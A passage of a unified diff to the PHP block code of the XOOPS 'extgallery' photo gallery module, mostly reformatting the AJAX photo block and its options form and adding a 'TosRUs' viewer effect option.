+ $xoTheme->addScript("browse.php?modules/extgallery/include/TosRUs/lib/FlameViewportScale.js");
+ break;
+ }
+ }
+
+ if(count($photos) == 0) {
+ return array();
+ }
+
+ $ret = array(
+ 'photos'=>$photos,
+ 'column'=>$column,
+ 'direction'=>$direction,
+ 'title'=>$title,
+ 'jquery'=>$jquery,
+ 'ajaxeffect'=>$ajaxeffect,
+ 'overlyabg'=>$overlyabg,
+ 'overlyaw'=>$overlyaw,
+ 'overlyah'=>$overlyah,
+ 'tooltipw'=>$tooltipw,
+ 'tooltipbw'=>$tooltipbw,
+ 'tooltipbbg'=>$tooltipbbg,
+ 'fancyboxbg'=>$fancyboxbg,
+ 'fancyboxop'=>$fancyboxop,
+ 'fancyboxtin'=>$fancyboxtin,
+ 'fancyboxtout'=>$fancyboxtout,
+ 'fancyboxtp'=>$fancyboxtp,
+ 'fancyboxshow'=>$fancyboxshow,
+ 'prettyphotospeed'=>$prettyphotospeed,
+ 'prettyphototheme'=>$prettyphototheme,
+ 'prettyphotoslidspeed'=>$prettyphotoslidspeed,
+ 'prettyphotoautoplay'=>$prettyphotoautoplay,
+ 'jcarouselhwidth'=>$jcarouselhwidth,
+ 'jcarouselvwidth'=>$jcarouselvwidth,
+ 'jcarouselvheight'=>$jcarouselvheight
+ );
+ return $ret;
}
// Manage Top Submitter blocks
function extgalleryTopSubmitterShow($options) {
-
global $xoopsDB, $xoopsConfig;
if ($options[1] != 0) {
$cat = array_slice($options, 1); //Get information about categories to display
@@ -212,585 +210,570 @@
$block['designers'][] = array('uid' => $uid, 'uname' => $uname, 'countphoto' => $countphoto);
}
return $block;
-
}
// Manage Ajax photos
function extgalleryAjax($options) {
-
- $photoHandler = xoops_getmodulehandler('publicphoto', 'extgallery');
- $param = array('limit'=>$options[0]);
- $photoHandlertype = $options[1];
- $jquery = $options[2];
- $ajaxeffect = $options[3];
- $panel_width = $options[4];
- $panel_height = $options[5];
- $frame_width = $options[6];
- $frame_height = $options[7];
- $background_color = $options[8];
- $transition_speed = $options[9];
- $ransition_interval = $options[10];
- $overlay_height = $options[11];
- $overlay_color = $options[12];
- $overlay_text_color = $options[13];
- $caption_text_color = $options[14];
- $border = $options[15];
- $overlay_opacity = $options[16];
- $overlay_font_size = $options[17];
- $nav_theme = $options[18];
- $position = $options[19];
- $easing = $options[20];
- $gria_panelwidth = $options[21];
- $gria_height = $options[22];
- $gria_bgcolor = $options[23];
- $gria_bcolor = $options[24];
- $gria_bgimg = $options[25];
- $gria_autoplay = $options[26];
- $gria_transition = $options[27];
- $gria_tspeed = $options[28];
- $micro_size = $options[29];
-
+ $photoHandler = xoops_getmodulehandler('publicphoto', 'extgallery');
+ $param = array('limit'=>$options[0]);
+ $photoHandlertype = $options[1];
+ $jquery = $options[2];
+ $ajaxeffect = $options[3];
+ $panel_width = $options[4];
+ $panel_height = $options[5];
+ $frame_width = $options[6];
+ $frame_height = $options[7];
+ $background_color = $options[8];
+ $transition_speed = $options[9];
+ $ransition_interval = $options[10];
+ $overlay_height = $options[11];
+ $overlay_color = $options[12];
+ $overlay_text_color = $options[13];
+ $caption_text_color = $options[14];
+ $border = $options[15];
+ $overlay_opacity = $options[16];
+ $overlay_font_size = $options[17];
+ $nav_theme = $options[18];
+ $position = $options[19];
+ $easing = $options[20];
+ $gria_panelwidth = $options[21];
+ $gria_height = $options[22];
+ $gria_bgcolor = $options[23];
+ $gria_bcolor = $options[24];
+ $gria_bgimg = $options[25];
+ $gria_autoplay = $options[26];
+ $gria_transition = $options[27];
+ $gria_tspeed = $options[28];
+ $micro_size = $options[29];
- array_shift($options);
- array_shift($options);
- array_shift($options);
- array_shift($options);
- array_shift($options);
- array_shift($options);
- array_shift($options);
- array_shift($options);
- array_shift($options);
- array_shift($options);
- array_shift($options);
- array_shift($options);
- array_shift($options);
- array_shift($options);
- array_shift($options);
- array_shift($options);
- array_shift($options);
- array_shift($options);
- array_shift($options);
- array_shift($options);
- array_shift($options);
- array_shift($options);
- array_shift($options);
- array_shift($options);
- array_shift($options);
- array_shift($options);
- array_shift($options);
- array_shift($options);
- array_shift($options);
- array_shift($options);
-
- $categories = array();
- foreach($options as $cat) {
- if($cat == 0) {
- $categories = array();
- break;
- }
- $categories[] = $cat;
- }
-
- $param['cat'] = $categories;
-
- switch ($photoHandlertype) {
- case "RandomPhoto":
- $photos = $photoHandler->objectToArray($photoHandler->getRandomPhoto($param));
- break;
-
- case "LastPhoto":
- $photos = $photoHandler->objectToArray($photoHandler->getLastPhoto($param));
- break;
-
- case "TopViewPhoto":
- $photos = $photoHandler->objectToArray($photoHandler->getTopViewPhoto($param));
- break;
-
- case "TopRatedPhoto":
- $photos = $photoHandler->objectToArray($photoHandler->getTopRatedPhoto($param));
- break;
-
- case "TopEcardPhoto":
- $photos = $photoHandler->objectToArray($photoHandler->getTopEcardPhoto($param));
- break;
- }
-
- if($jquery == 'true'){
- global $xoTheme;
- $xoTheme->addScript("browse.php?Frameworks/jquery/jquery.js");
-
- switch($ajaxeffect) {
- case 'galleryview':
- $xoTheme->addScript("browse.php?modules/extgallery/include/galleryview/galleryview.js");
- $xoTheme->addScript("browse.php?modules/extgallery/include/galleryview/timers.js");
- $xoTheme->addScript("browse.php?modules/extgallery/include/galleryview/easing.js");
- $xoTheme->addStylesheet('browse.php?modules/extgallery/include/galleryview/galleryview.css');
- break;
-
- case 'galleria':
- $xoTheme->addScript("browse.php?modules/extgallery/include/galleria/galleria.js");
- break;
-
- case 'microgallery':
- $xoTheme->addScript("browse.php?modules/extgallery/include/microgallery/jquery.microgallery.js");
- $xoTheme->addStylesheet('browse.php?modules/extgallery/include/microgallery/style.css');
- break;
- }
- }
-
- if(count($photos) == 0) {
- return array();
- }
-
- $ret = array(
- 'photos'=>$photos,
- 'jquery'=>$jquery,
- 'ajaxeffect'=>$ajaxeffect,
- 'panel_width'=>$panel_width,
- 'panel_height'=>$panel_height,
- 'frame_width'=>$frame_width,
- 'frame_height'=>$frame_height,
- 'background_color'=>$background_color,
- 'transition_speed'=>$transition_speed,
- 'transition_interval'=>$ransition_interval,
- 'overlay_height'=>$overlay_height,
- 'overlay_color'=>$overlay_color,
- 'overlay_text_color'=>$overlay_text_color,
- 'caption_text_color'=>$caption_text_color,
- 'border'=>$border,
- 'overlay_opacity'=>$overlay_opacity,
- 'overlay_font_size'=>$overlay_font_size,
- 'nav_theme'=>$nav_theme,
- 'position'=>$position,
- 'easing'=>$easing,
- 'galleria_panelwidth'=>$gria_panelwidth,
- 'galleria_height'=>$gria_height,
- 'galleria_bgcolor'=>$gria_bgcolor,
- 'galleria_bcolor'=>$gria_bcolor,
- 'galleria_bgimg'=>$gria_bgimg,
- 'galleria_autoplay'=>$gria_autoplay,
- 'galleria_transition'=>$gria_transition,
- 'galleria_tspeed'=>$gria_tspeed,
- 'micro_size'=>$micro_size
- );
- return $ret;
-
+ array_shift($options);
+ array_shift($options);
+ array_shift($options);
+ array_shift($options);
+ array_shift($options);
+ array_shift($options);
+ array_shift($options);
+ array_shift($options);
+ array_shift($options);
+ array_shift($options);
+ array_shift($options);
+ array_shift($options);
+ array_shift($options);
+ array_shift($options);
+ array_shift($options);
+ array_shift($options);
+ array_shift($options);
+ array_shift($options);
+ array_shift($options);
+ array_shift($options);
+ array_shift($options);
+ array_shift($options);
+ array_shift($options);
+ array_shift($options);
+ array_shift($options);
+ array_shift($options);
+ array_shift($options);
+ array_shift($options);
+ array_shift($options);
+ array_shift($options);
+
+ $categories = array();
+ foreach($options as $cat) {
+ if($cat == 0) {
+ $categories = array();
+ break;
+ }
+ $categories[] = $cat;
+ }
+
+ $param['cat'] = $categories;
+
+ switch ($photoHandlertype) {
+ case "RandomPhoto":
+ $photos = $photoHandler->objectToArray($photoHandler->getRandomPhoto($param));
+ break;
+ case "LastPhoto":
+ $photos = $photoHandler->objectToArray($photoHandler->getLastPhoto($param));
+ break;
+ case "TopViewPhoto":
+ $photos = $photoHandler->objectToArray($photoHandler->getTopViewPhoto($param));
+ break;
+ case "TopRatedPhoto":
+ $photos = $photoHandler->objectToArray($photoHandler->getTopRatedPhoto($param));
+ break;
+ case "TopEcardPhoto":
+ $photos = $photoHandler->objectToArray($photoHandler->getTopEcardPhoto($param));
+ break;
+ }
+
+ if($jquery == 'true'){
+ global $xoTheme;
+ $xoTheme->addScript("browse.php?Frameworks/jquery/jquery.js");
+
+ switch($ajaxeffect) {
+ case 'galleryview':
+ $xoTheme->addScript("browse.php?modules/extgallery/include/galleryview/galleryview.js");
+ $xoTheme->addScript("browse.php?modules/extgallery/include/galleryview/timers.js");
+ $xoTheme->addScript("browse.php?modules/extgallery/include/galleryview/easing.js");
+ $xoTheme->addStylesheet('browse.php?modules/extgallery/include/galleryview/galleryview.css');
+ break;
+ case 'galleria':
+ $xoTheme->addScript("browse.php?modules/extgallery/include/galleria/galleria.js");
+ break;
+ case 'microgallery':
+ $xoTheme->addScript("browse.php?modules/extgallery/include/microgallery/jquery.microgallery.js");
+ $xoTheme->addStylesheet('browse.php?modules/extgallery/include/microgallery/style.css');
+ break;
+ }
+ }
+
+ if(count($photos) == 0) {
+ return array();
+ }
+
+ $ret = array(
+ 'photos'=>$photos,
+ 'jquery'=>$jquery,
+ 'ajaxeffect'=>$ajaxeffect,
+ 'panel_width'=>$panel_width,
+ 'panel_height'=>$panel_height,
+ 'frame_width'=>$frame_width,
+ 'frame_height'=>$frame_height,
+ 'background_color'=>$background_color,
+ 'transition_speed'=>$transition_speed,
+ 'transition_interval'=>$ransition_interval,
+ 'overlay_height'=>$overlay_height,
+ 'overlay_color'=>$overlay_color,
+ 'overlay_text_color'=>$overlay_text_color,
+ 'caption_text_color'=>$caption_text_color,
+ 'border'=>$border,
+ 'overlay_opacity'=>$overlay_opacity,
+ 'overlay_font_size'=>$overlay_font_size,
+ 'nav_theme'=>$nav_theme,
+ 'position'=>$position,
+ 'easing'=>$easing,
+ 'galleria_panelwidth'=>$gria_panelwidth,
+ 'galleria_height'=>$gria_height,
+ 'galleria_bgcolor'=>$gria_bgcolor,
+ 'galleria_bcolor'=>$gria_bcolor,
+ 'galleria_bgimg'=>$gria_bgimg,
+ 'galleria_autoplay'=>$gria_autoplay,
+ 'galleria_transition'=>$gria_transition,
+ 'galleria_tspeed'=>$gria_tspeed,
+ 'micro_size'=>$micro_size
+ );
+ return $ret;
+
}
// Options photo blocks
function extgalleryBlockEdit($options) {
+ global $xoopsUser;
- global $xoopsUser;
+ $catHandler = xoops_getmodulehandler('publiccat', 'extgallery');
- $catHandler = xoops_getmodulehandler('publiccat', 'extgallery');
+ $form = _MB_EXTGALLERY_PHOTO_NUMBER." : <input name=\"options[]\" size=\"5\" maxlength=\"255\" value=\"" . $options[0] . "\" type=\"text\" /><br />";
- $form = _MB_EXTGALLERY_PHOTO_NUMBER." : <input name=\"options[]\" size=\"5\" maxlength=\"255\" value=\"".$options[0]."\" type=\"text\" /><br />";
-
- $Selected = new XoopsFormSelect(_MB_EXTGALLERY_DIRECTION, 'options[]',$options[1]);
- $Selected->addOption("0", _MB_EXTGALLERY_HORIZONTALLY);
- $Selected->addOption("1", _MB_EXTGALLERY_VERTICALLY);
- $Selected->addOption("2", _MB_EXTGALLERY_TABLE);
- $form .= _MB_EXTGALLERY_DIRECTION." : ".$Selected->render().'<br />';
+ $Selected = new XoopsFormSelect(_MB_EXTGALLERY_DIRECTION, 'options[]', $options[1]);
+ $Selected->addOption("0", _MB_EXTGALLERY_HORIZONTALLY);
+ $Selected->addOption("1", _MB_EXTGALLERY_VERTICALLY);
+ $Selected->addOption("2", _MB_EXTGALLERY_TABLE);
+ $form .= _MB_EXTGALLERY_DIRECTION." : " . $Selected->render() . '<br />';
- $yChecked = "";
- $nChecked = "";
- if($options[2] == 1) {
- $yChecked = ' checked="checked"';
- } else {
- $nChecked = ' checked="checked"';
- }
-
- $form .= _MB_EXTGALLERY_DISPLAY_TITLE.' : <input type="radio" name="options[]" value="1"'.$yChecked.' /> '._YES.' <input type="radio" name="options[]" value="0"'.$nChecked.' />'._NO.'<br />';
-
- $effectTypeSelect = new XoopsFormSelect(_MB_EXTGALLERY_SHOW_TYPE, 'options[]',$options[3]);
- $effectTypeSelect->addOption("RandomPhoto", _MB_EXTGALLERY_TYPE_OP1);
- $effectTypeSelect->addOption("LastPhoto", _MB_EXTGALLERY_TYPE_OP2);
- $effectTypeSelect->addOption("TopViewPhoto", _MB_EXTGALLERY_TYPE_OP3);
- $effectTypeSelect->addOption("TopRatedPhoto", _MB_EXTGALLERY_TYPE_OP4);
- $effectTypeSelect->addOption("TopEcardPhoto", _MB_EXTGALLERY_TYPE_OP5);
- $form .= _MB_EXTGALLERY_SHOW_TYPE." : ".$effectTypeSelect->render().'<br />';
-
- $jqSelect = new XoopsFormSelect(_MB_EXTGALLERY_JQUERY, 'options[]',$options[4]);
- $jqSelect->addOption("true", _MB_EXTGALLERY_TRUE);
- $jqSelect->addOption("false", _MB_EXTGALLERY_FALSE);
- $form .= _MB_EXTGALLERY_JQUERY." : ".$jqSelect->render().'<br />';
-
- //select option
- $form .= "<fieldset><legend style='font-weight:bold; color:#990000;'>"._MB_EXTGALLERY_USE_AJAX_EFFECTS."</legend>";
- $ajaxeffectSelect = new XoopsFormSelect(_MB_EXTGALLERY_USE_AJAX_EFFECTS, 'options[]',$options[5]);
- $ajaxeffectSelect->addOption("none", _MB_EXTGALLERY_AJAX_NONE);
- $ajaxeffectSelect->addOption("lightbox", _MB_EXTGALLERY_AJAX_LIGHTBOX);
- $ajaxeffectSelect->addOption("overlay", _MB_EXTGALLERY_AJAX_OVERLAY);
- $ajaxeffectSelect->addOption("tooltip", _MB_EXTGALLERY_AJAX_TOOLTIP);
- $ajaxeffectSelect->addOption("fancybox", _MB_EXTGALLERY_AJAX_FANCYBOX);
- $ajaxeffectSelect->addOption("prettyphoto", _MB_EXTGALLERY_AJAX_PRETTPHOTO);
- $ajaxeffectSelect->addOption("jcarousel", _MB_EXTGALLERY_AJAX_JCAROUSEL);
- $form .= _MB_EXTGALLERY_USE_AJAX_EFFECTS." : ".$ajaxeffectSelect->render().'<br />';
- $form .="</fieldset><br />";
-
- //for overlay
- $form .= "<fieldset><legend style='font-weight:bold; color:#990000;'>"._MB_EXTGALLERY_AJAX_OVERLAY."</legend>";
- $form .= _MB_EXTGALLERY_OVERLAY_BG." : <input name=\"options[]\" size=\"7\" maxlength=\"7\" value=\"".$options[6]."\" type=\"text\" /><br />";
- $form .= _MB_EXTGALLERY_OVERLAY_WIDTH." : <input name=\"options[]\" size=\"5\" maxlength=\"5\" value=\"".$options[7]."\" type=\"text\" /><br />";
- $form .= _MB_EXTGALLERY_OVERLAY_HEIGHT." : <input name=\"options[]\" size=\"5\" maxlength=\"5\" value=\"".$options[8]."\" type=\"text\" /><br />";
- $form .="</fieldset><br />";
-
- //for tooltip
- $form .= "<fieldset><legend style='font-weight:bold; color:#990000;'>"._MB_EXTGALLERY_AJAX_TOOLTIP."</legend>";
- $form .= _MB_EXTGALLERY_TOOLTIP_WIDTH." : <input name=\"options[]\" size=\"5\" maxlength=\"5\" value=\"".$options[9]."\" type=\"text\" /><br />";
- $form .= _MB_EXTGALLERY_TOOLTIP_BORDER_WIDTH." : <input name=\"options[]\" size=\"5\" maxlength=\"5\" value=\"".$options[10]."\" type=\"text\" /><br />";
- $form .= _MB_EXTGALLERY_TOOLTIP_BORDERCOLOR." : <input name=\"options[]\" size=\"7\" maxlength=\"7\" value=\"".$options[11]."\" type=\"text\" /><br />";
- $form .="</fieldset><br />";
-
- //for fancybox
- $form .= "<fieldset><legend style='font-weight:bold; color:#990000;'>"._MB_EXTGALLERY_AJAX_FANCYBOX."</legend>";
- $form .= _MB_EXTGALLERY_FANCYBOX_BGCOLOR." : <input name=\"options[]\" size=\"7\" maxlength=\"7\" value=\"".$options[12]."\" type=\"text\" /><br />";
- $form .= _MB_EXTGALLERY_FANCYBOX_OPACITY." : <input name=\"options[]\" size=\"5\" maxlength=\"5\" value=\"".$options[13]."\" type=\"text\" /><br />";
- $fancyboxtinSelect = new XoopsFormSelect(_MB_EXTGALLERY_FANCYBOX_TIN, 'options[]',$options[14]);
- $fancyboxtinSelect->addOption("none", _MB_EXTGALLERY_FANCYBOX_NONE);
- $fancyboxtinSelect->addOption("elastic", _MB_EXTGALLERY_FANCYBOX_ELASTIC);
- $form .= _MB_EXTGALLERY_FANCYBOX_TIN." : ".$fancyboxtinSelect->render().'<br />';
- $fancyboxtoutSelect = new XoopsFormSelect(_MB_EXTGALLERY_FANCYBOX_TOUT, 'options[]',$options[15]);
- $fancyboxtoutSelect->addOption("none", _MB_EXTGALLERY_FANCYBOX_NONE);
- $fancyboxtoutSelect->addOption("elastic", _MB_EXTGALLERY_FANCYBOX_ELASTIC);
- $form .= _MB_EXTGALLERY_FANCYBOX_TOUT." : ".$fancyboxtoutSelect->render().'<br />';
- $fancyboxtpSelect = new XoopsFormSelect(_MB_EXTGALLERY_FANCYBOX_TITLEPOSITION, 'options[]',$options[16]);
- $fancyboxtpSelect->addOption("over", _MB_EXTGALLERY_FANCYBOX_OVER);
- $fancyboxtpSelect->addOption("inside", _MB_EXTGALLERY_FANCYBOX_INSIDE);
- $fancyboxtpSelect->addOption("outside", _MB_EXTGALLERY_FANCYBOX_OUTSIDE);
- $form .= _MB_EXTGALLERY_FANCYBOX_TITLEPOSITION." : ".$fancyboxtpSelect->render().'<br />';
- $fancyboxshowSelect = new XoopsFormSelect(_MB_EXTGALLERY_FANCYBOX_SHOWTYPE, 'options[]',$options[17]);
- $fancyboxshowSelect->addOption("single", _MB_EXTGALLERY_FANCYBOX_SINGLE);
- $fancyboxshowSelect->addOption("group", _MB_EXTGALLERY_FANCYBOX_GROUP);
- $form .= _MB_EXTGALLERY_FANCYBOX_SHOWTYPE." : ".$fancyboxshowSelect->render().'<br />';
- $form .="</fieldset><br />";
-
- //for prettyphoto
- $form .= "<fieldset><legend style='font-weight:bold; color:#990000;'>"._MB_EXTGALLERY_AJAX_PRETTPHOTO."</legend>";
- $prettyspeedSelect = new XoopsFormSelect(_MB_EXTGALLERY_PRETTPHOTO_SPEED, 'options[]',$options[18]);
- $prettyspeedSelect->addOption("fast", _MB_EXTGALLERY_PRETTPHOTO_FAST);
- $prettyspeedSelect->addOption("slow", _MB_EXTGALLERY_PRETTPHOTO_SLOW);
- $form .= _MB_EXTGALLERY_PRETTPHOTO_SPEED." : ".$prettyspeedSelect->render().'<br />';
- $prettythemeSelect = new XoopsFormSelect(_MB_EXTGALLERY_PRETTPHOTO_THEME, 'options[]',$options[19]);
- $prettythemeSelect->addOption("dark_rounded", _MB_EXTGALLERY_PRETTPHOTO_THEME1);
- $prettythemeSelect->addOption("dark_square", _MB_EXTGALLERY_PRETTPHOTO_THEME2);
- $prettythemeSelect->addOption("facebook", _MB_EXTGALLERY_PRETTPHOTO_THEME3);
- $prettythemeSelect->addOption("light_rounded", _MB_EXTGALLERY_PRETTPHOTO_THEME4);
- $prettythemeSelect->addOption("light_square", _MB_EXTGALLERY_PRETTPHOTO_THEME5);
- $form .= _MB_EXTGALLERY_PRETTPHOTO_THEME." : ".$prettythemeSelect->render().'<br />';
- $form .= _MB_EXTGALLERY_PRETTPHOTO_SLIDESPEED." : <input name=\"options[]\" size=\"5\" maxlength=\"5\" value=\"".$options[20]."\" type=\"text\" /><br />";
- $prettyautoplaySelect = new XoopsFormSelect(_MB_EXTGALLERY_PRETTPHOTO_AUTOPLAY, 'options[]',$options[21]);
- $prettyautoplaySelect->addOption("true", _MB_EXTGALLERY_TRUE);
- $prettyautoplaySelect->addOption("false", _MB_EXTGALLERY_FALSE);
- $form .= _MB_EXTGALLERY_PRETTPHOTO_AUTOPLAY." : ".$prettyautoplaySelect->render().'<br />';
- $form .="</fieldset><br />";
-
- //for jcarousel
- $form .= "<fieldset><legend style='font-weight:bold; color:#990000;'>"._MB_EXTGALLERY_AJAX_JCAROUSEL."</legend>";
- $form .= _MB_EXTGALLERY_JCAROUSEL_HWIDTH." : <input name=\"options[]\" size=\"7\" maxlength=\"7\" value=\"".$options[22]."\" type=\"text\" /><br />";
- $form .= _MB_EXTGALLERY_JCAROUSEL_VWIDTH." : <input name=\"options[]\" size=\"7\" maxlength=\"7\" value=\"".$options[23]."\" type=\"text\" /><br />";
- $form .= _MB_EXTGALLERY_JCAROUSEL_VHIGHT." : <input name=\"options[]\" size=\"7\" maxlength=\"7\" value=\"".$options[24]."\" type=\"text\" /><br />";
- $form .="</fieldset><br />";
-
- $form .= "<fieldset><legend style='font-weight:bold; color:#990000;'>"._MB_EXTGALLERY_TABLE."</legend>";
- $form .= _MB_EXTGALLERY_PHOTO_NUMBER_TABLE." : <input name=\"options[]\" size=\"5\" maxlength=\"255\" value=\"".$options[25]."\" type=\"text\" /><br />";
- $form .="</fieldset><br />";
-
- array_shift($options);
- array_shift($options);
- array_shift($options);
- array_shift($options);
- array_shift($options);
- array_shift($options);
- array_shift($options);
- array_shift($options);
- array_shift($options);
- array_shift($options);
- array_shift($options);
- array_shift($options);
- array_shift($options);
- array_shift($options);
- array_shift($options);
- array_shift($options);
- array_shift($options);
- array_shift($options);
- array_shift($options);
- array_shift($options);
- array_shift($options);
- array_shift($options);
- array_shift($options);
- array_shift($options);
- array_shift($options);
- array_shift($options);
-
- $form .= $catHandler->getBlockSelect($options);
- return $form;
+ $yChecked = "";
+ $nChecked = "";
+ if($options[2] == 1) {
+ $yChecked = ' checked="checked"';
+ } else {
+ $nChecked = ' checked="checked"';
+ }
+
+ $form .= _MB_EXTGALLERY_DISPLAY_TITLE.' : <input type="radio" name="options[]" value="1"'.$yChecked.' /> '._YES.' <input type="radio" name="options[]" value="0"'.$nChecked.' />'._NO.'<br />';
+
+ $effectTypeSelect = new XoopsFormSelect(_MB_EXTGALLERY_SHOW_TYPE, 'options[]', $options[3]);
+ $effectTypeSelect->addOption("RandomPhoto", _MB_EXTGALLERY_TYPE_OP1);
+ $effectTypeSelect->addOption("LastPhoto", _MB_EXTGALLERY_TYPE_OP2);
+ $effectTypeSelect->addOption("TopViewPhoto", _MB_EXTGALLERY_TYPE_OP3);
+ $effectTypeSelect->addOption("TopRatedPhoto", _MB_EXTGALLERY_TYPE_OP4);
+ $effectTypeSelect->addOption("TopEcardPhoto", _MB_EXTGALLERY_TYPE_OP5);
+ $form .= _MB_EXTGALLERY_SHOW_TYPE." : " . $effectTypeSelect->render() . '<br />';
+
+ $jqSelect = new XoopsFormSelect(_MB_EXTGALLERY_JQUERY, 'options[]', $options[4]);
+ $jqSelect->addOption("true", _MB_EXTGALLERY_TRUE);
+ $jqSelect->addOption("false", _MB_EXTGALLERY_FALSE);
+ $form .= _MB_EXTGALLERY_JQUERY." : " . $jqSelect->render() . '<br />';
+
+ //select option
+ $form .= "<fieldset><legend style='font-weight:bold; color:#990000;'>"._MB_EXTGALLERY_USE_AJAX_EFFECTS."</legend>";
+ $ajaxeffectSelect = new XoopsFormSelect(_MB_EXTGALLERY_USE_AJAX_EFFECTS, 'options[]', $options[5]);
+ $ajaxeffectSelect->addOption("none", _MB_EXTGALLERY_AJAX_NONE);
+ $ajaxeffectSelect->addOption("lightbox", _MB_EXTGALLERY_AJAX_LIGHTBOX);
+ $ajaxeffectSelect->addOption("overlay", _MB_EXTGALLERY_AJAX_OVERLAY);
+ $ajaxeffectSelect->addOption("tooltip", _MB_EXTGALLERY_AJAX_TOOLTIP);
+ $ajaxeffectSelect->addOption("fancybox", _MB_EXTGALLERY_AJAX_FANCYBOX);
+ $ajaxeffectSelect->addOption("prettyphoto", _MB_EXTGALLERY_AJAX_PRETTPHOTO);
+ $ajaxeffectSelect->addOption("jcarousel", _MB_EXTGALLERY_AJAX_JCAROUSEL);
+ $ajaxeffectSelect->addOption("TosRUs", _MB_EXTGALLERY_AJAX_TOSRUS);
+ $form .= _MB_EXTGALLERY_USE_AJAX_EFFECTS." : " . $ajaxeffectSelect->render() . '<br />';
+ $form .="</fieldset><br />";
+
+ //for overlay
+ $form .= "<fieldset><legend style='font-weight:bold; color:#990000;'>"._MB_EXTGALLERY_AJAX_OVERLAY."</legend>";
+ $form .= _MB_EXTGALLERY_OVERLAY_BG." : <input name=\"options[]\" size=\"7\" maxlength=\"7\" value=\"" . $options[6] . "\" type=\"text\" /><br />";
+ $form .= _MB_EXTGALLERY_OVERLAY_WIDTH." : <input name=\"options[]\" size=\"5\" maxlength=\"5\" value=\"" . $options[7] . "\" type=\"text\" /><br />";
+ $form .= _MB_EXTGALLERY_OVERLAY_HEIGHT." : <input name=\"options[]\" size=\"5\" maxlength=\"5\" value=\"" . $options[8] . "\" type=\"text\" /><br />";
+ $form .="</fieldset><br />";
+
+ //for tooltip
+ $form .= "<fieldset><legend style='font-weight:bold; color:#990000;'>"._MB_EXTGALLERY_AJAX_TOOLTIP."</legend>";
+ $form .= _MB_EXTGALLERY_TOOLTIP_WIDTH." : <input name=\"options[]\" size=\"5\" maxlength=\"5\" value=\"" . $options[9] . "\" type=\"text\" /><br />";
+ $form .= _MB_EXTGALLERY_TOOLTIP_BORDER_WIDTH." : <input name=\"options[]\" size=\"5\" maxlength=\"5\" value=\"" . $options[10] . "\" type=\"text\" /><br />";
+ $form .= _MB_EXTGALLERY_TOOLTIP_BORDERCOLOR." : <input name=\"options[]\" size=\"7\" maxlength=\"7\" value=\"" . $options[11] . "\" type=\"text\" /><br />";
+ $form .="</fieldset><br />";
+
+ //for fancybox
+ $form .= "<fieldset><legend style='font-weight:bold; color:#990000;'>"._MB_EXTGALLERY_AJAX_FANCYBOX."</legend>";
+ $form .= _MB_EXTGALLERY_FANCYBOX_BGCOLOR." : <input name=\"options[]\" size=\"7\" maxlength=\"7\" value=\"" . $options[12] . "\" type=\"text\" /><br />";
+ $form .= _MB_EXTGALLERY_FANCYBOX_OPACITY." : <input name=\"options[]\" size=\"5\" maxlength=\"5\" value=\"" . $options[13] . "\" type=\"text\" /><br />";
+ $fancyboxtinSelect = new XoopsFormSelect(_MB_EXTGALLERY_FANCYBOX_TIN, 'options[]', $options[14]);
+ $fancyboxtinSelect->addOption("none", _MB_EXTGALLERY_FANCYBOX_NONE);
+ $fancyboxtinSelect->addOption("elastic", _MB_EXTGALLERY_FANCYBOX_ELASTIC);
+ $form .= _MB_EXTGALLERY_FANCYBOX_TIN." : " . $fancyboxtinSelect->render() . '<br />';
+ $fancyboxtoutSelect = new XoopsFormSelect(_MB_EXTGALLERY_FANCYBOX_TOUT, 'options[]', $options[15]);
+ $fancyboxtoutSelect->addOption("none", _MB_EXTGALLERY_FANCYBOX_NONE);
+ $fancyboxtoutSelect->addOption("elastic", _MB_EXTGALLERY_FANCYBOX_ELASTIC);
+ $form .= _MB_EXTGALLERY_FANCYBOX_TOUT." : " . $fancyboxtoutSelect->render() . '<br />';
+ $fancyboxtpSelect = new XoopsFormSelect(_MB_EXTGALLERY_FANCYBOX_TITLEPOSITION, 'options[]', $options[16]);
+ $fancyboxtpSelect->addOption("over", _MB_EXTGALLERY_FANCYBOX_OVER);
+ $fancyboxtpSelect->addOption("inside", _MB_EXTGALLERY_FANCYBOX_INSIDE);
+ $fancyboxtpSelect->addOption("outside", _MB_EXTGALLERY_FANCYBOX_OUTSIDE);
+ $form .= _MB_EXTGALLERY_FANCYBOX_TITLEPOSITION . " : " . $fancyboxtpSelect->render() . '<br />';
+ $fancyboxshowSelect = new XoopsFormSelect(_MB_EXTGALLERY_FANCYBOX_SHOWTYPE, 'options[]', $options[17]);
+ $fancyboxshowSelect->addOption("single", _MB_EXTGALLERY_FANCYBOX_SINGLE);
+ $fancyboxshowSelect->addOption("group", _MB_EXTGALLERY_FANCYBOX_GROUP);
+ $form .= _MB_EXTGALLERY_FANCYBOX_SHOWTYPE . " : " . $fancyboxshowSelect->render() . '<br />';
+ $form .= "</fieldset><br />";
+
+ //for prettyphoto
+ $form .= "<fieldset><legend style='font-weight:bold; color:#990000;'>" . _MB_EXTGALLERY_AJAX_PRETTPHOTO . "</legend>";
+ $prettyspeedSelect = new XoopsFormSelect(_MB_EXTGALLERY_PRETTPHOTO_SPEED, 'options[]', $options[18]);
+ $prettyspeedSelect->addOption("fast", _MB_EXTGALLERY_PRETTPHOTO_FAST);
+ $prettyspeedSelect->addOption("slow", _MB_EXTGALLERY_PRETTPHOTO_SLOW);
+ $form .= _MB_EXTGALLERY_PRETTPHOTO_SPEED . " : " . $prettyspeedSelect->render() . '<br />';
+ $prettythemeSelect = new XoopsFormSelect(_MB_EXTGALLERY_PRETTPHOTO_THEME, 'options[]', $options[19]);
+ $prettythemeSelect->addOption("dark_rounded", _MB_EXTGALLERY_PRETTPHOTO_THEME1);
+ $prettythemeSelect->addOption("dark_square", _MB_EXTGALLERY_PRETTPHOTO_THEME2);
+ $prettythemeSelect->addOption("facebook", _MB_EXTGALLERY_PRETTPHOTO_THEME3);
+ $prettythemeSelect->addOption("light_rounded", _MB_EXTGALLERY_PRETTPHOTO_THEME4);
+ $prettythemeSelect->addOption("light_square", _MB_EXTGALLERY_PRETTPHOTO_THEME5);
+ $form .= _MB_EXTGALLERY_PRETTPHOTO_THEME . " : " . $prettythemeSelect->render() . '<br />';
+ $form .= _MB_EXTGALLERY_PRETTPHOTO_SLIDESPEED . " : <input name=\"options[]\" size=\"5\" maxlength=\"5\" value=\"" . $options[20] . "\" type=\"text\" /><br />";
+ $prettyautoplaySelect = new XoopsFormSelect(_MB_EXTGALLERY_PRETTPHOTO_AUTOPLAY, 'options[]', $options[21]);
+ $prettyautoplaySelect->addOption("true", _MB_EXTGALLERY_TRUE);
+ $prettyautoplaySelect->addOption("false", _MB_EXTGALLERY_FALSE);
